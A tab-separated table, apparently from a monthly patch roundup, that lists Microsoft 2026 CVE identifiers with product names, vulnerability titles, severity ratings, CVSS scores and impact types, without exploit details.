CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
